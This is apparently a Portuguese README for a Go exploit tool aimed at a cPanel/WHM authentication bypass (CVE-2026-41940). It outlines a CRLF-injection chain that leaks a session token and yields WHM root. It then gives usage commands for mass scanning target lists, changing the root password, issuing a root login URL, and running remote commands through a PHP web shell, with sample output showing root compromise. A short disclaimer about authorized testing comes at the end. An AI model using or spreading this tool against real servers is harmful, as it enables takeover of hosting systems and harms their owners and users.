
Scanner e ferramenta de exploração baseada em Go para CVE-2026-41940, uma bypass de autenticação no cPanel/WHM. Suporta varredura em lote, vazamento de tokens e ações pós-exploração como RCE, alteração de senha e chamadas de API.
Ferramenta de linha de comando em Go, reescrita a partir do PoC em Python do watchTowr, para detectar e explorar a vulnerabilidade de bypass de autenticação CVE-2026-41940 do cPanel/WHM.
A CVE-2026-41940 é uma vulnerabilidade de bypass de autenticação no cPanel/WHM. A cadeia de ataque usa injeção de CRLF no cabeçalho de autenticação Basic para vazar o token de segurança e obter privilégios de root no WHM.
Cadeia de ataque em 4 etapas:
/login/ e obtém o cookie bruto whostmgrsessionAuthorization: Basic, induzindo o servidor a vazar o token de segurança cpsess no cabeçalho Location do redirecionamento 307do_token_denied para propagar os dados de autenticação injetados do armazenamento bruto para o cache/json-api/version e verificar se obteve privilégios de roothttp://, https://, formatos sem protocolo e deduplicação automática-passwd)-api)-session)-cmd)[VULN] em vermelho, [SAFE] em verde# Requer Go 1.20+
cd cpanel-checker
go build -o cpanel-checker .
| Parâmetro | Descrição | Exemplo |
|---|---|---|
-u | URL de alvo único | -u https://1.2.3.4:2087 |
-f | Arquivo contendo lista de URLs | -f targets.txt |
-o | Caminho do arquivo de saída (padrão result.txt) | -o vuln.txt |
-c | Número de concorrência (padrão 10) | -c 20 |
-hostname | Especificar manualmente o cabeçalho Host (padrão: descoberta automática) | -hostname cpanel.example.com |
-passwd | Alterar a senha de root (apenas modo -u) | -passwd NewP@ss123 |
-api | Chamar função da API do WHM (apenas modo -u) | -api listaccts |
-api-params | Parâmetros da API do WHM, separados por vírgula | -api-params user=root,password=123 |
-session | Gerar URL de login de root com um clique (apenas modo -u) | -session |
-keep | Manter a conta temporária do RCE sem excluir (usar com -cmd) | -keep |
-cmd | Executar comando remoto / RCE (apenas modo -u) | -cmd "id" |
./cpanel-checker -u https://target:2087
A porta padrão é 2087. As seguintes formas são equivalentes:
./cpanel-checker -u https://target
./cpanel-checker -u target
./cpanel-checker -f targets.txt -c 20
O targets.txt suporta os seguintes formatos (um por linha, linhas iniciadas com # são comentários):
https://1.1.1.1:2087
http://2.2.2.2:2087
3.3.3.3:2087
4.4.4.4
# Isto é um comentário
http://1.1.1.1 e https://1.1.1.1 são considerados o mesmo alvo, escaneado apenas uma vezhttps://2087result.txt (personalizável com -o)./cpanel-checker -u https://target:2087 -passwd "NewP@ssw0rd!"
# Listar todas as contas
./cpanel-checker -u https://target:2087 -api listaccts
# Chamada com parâmetros
./cpanel-checker -u https://target:2087 -api passwd -api-params "user=root,password=abc123"
./cpanel-checker -u https://target:2087 -session
Gera uma URL que, ao ser aberta no navegador, dá acesso ao painel de administração do WHM. No painel, use o recurso Terminal para obter um shell de root interativo.
Nota:
-sessioné semiatomático — a ferramenta gera a URL de login e você precisa abri-la manualmente no navegador.
./cpanel-checker -u https://target:2087 -cmd "id"
Adicione -keep para manter a conta temporária, permitindo login no painel do cPanel:
./cpanel-checker -u https://target:2087 -cmd "id" -keep
Ao usar -keep, a saída incluirá o nome de usuário, senha e endereço de login do cPanel (https://host:2083) da conta temporária. Use essas credenciais diretamente para entrar no painel do cPanel.
-cmd é totalmente automático, sem necessidade de outras ações manuais. Fluxo interno:
~/public_html/ via UAPI (Fileman::save_file_content)https://host/~tmpuser/shell.php via HTTP para executar comandosPré-requisito: as portas 80 ou 443 do alvo devem estar acessíveis e o Apache/httpd deve estar em execução.
Vários parâmetros de exploração podem ser usados simultaneamente:
# Obter URL de login, executar comando e alterar senha ao mesmo tempo
./cpanel-checker -u https://target:2087 -session -cmd "id" -passwd "NewP@ss123"
Quando o IP do alvo não corresponde ao hostname configurado no cPanel, especifique manualmente:
./cpanel-checker -u https://1.2.3.4:2087 -hostname cpanel.example.com
Por padrão, a ferramenta descobre automaticamente o hostname correto através do redirecionamento 307 de /openid_connect/cpanelid.
[1/5] [VULN] https://1.1.1.1:2087 - token=/cpsess1234567890
[2/5] [SAFE] https://2.2.2.2:2087 - stage2: no cpsess token leaked (HTTP 301), likely patched
[3/5] [SAFE] https://3.3.3.3:2087 - stage1: request failed: dial tcp: i/o timeout
[4/5] [VULN] https://4.4.4.4:2087 - token=/cpsess0987654321
[5/5] [SAFE] https://5.5.5.5:2087 - stage2: no cpsess token leaked (HTTP 301), likely patched
========== Escaneamento concluído ==========
Total: 5 | Vulneráveis: 2
● https://1.1.1.1:2087
● https://4.4.4.4:2087
[+] Resultados salvos em result.txt
[*] Alvo: https://target:2087
[*] Modo: Exploração
[0] hostname = cpanel.example.com
[1] minting a preauth session...
session base = abc123def456
[2] sending the CRLF injection (Basic auth + no-ob cookie)...
leaked token = /cpsess1234567890
[3] firing do_token_denied to propagate raw -> cache...
gadget fired
[4] verifying we're WHM root...
[+] Privilégios de root do WHM obtidos
[*] Executando comando remoto (RCE)...
[a] Criando conta temporária: tmpabcde
[b] Escrevendo shell: /home/tmpabcde/public_html/random.php
[c] Executando comando: id
[d] Limpando conta temporária: tmpabcde
[+] Saída do comando:
uid=0(root) gid=0(root) groups=0(root)
[+] Concluído. https://target:2087 foi comprometido
-passwd, -api, -session, -cmd) estão disponíveis apenas no modo de alvo único -u, não suportados no modo de lote -f# no arquivo de URLs são ignoradasEsta ferramenta destina-se exclusivamente a testes de segurança autorizados e pesquisa. Testar sistemas sem autorização é ilegal. O usuário deve garantir que obteve autorização escrita explícita do proprietário do sistema alvo. O autor não se responsabiliza por qualquer uso indevido.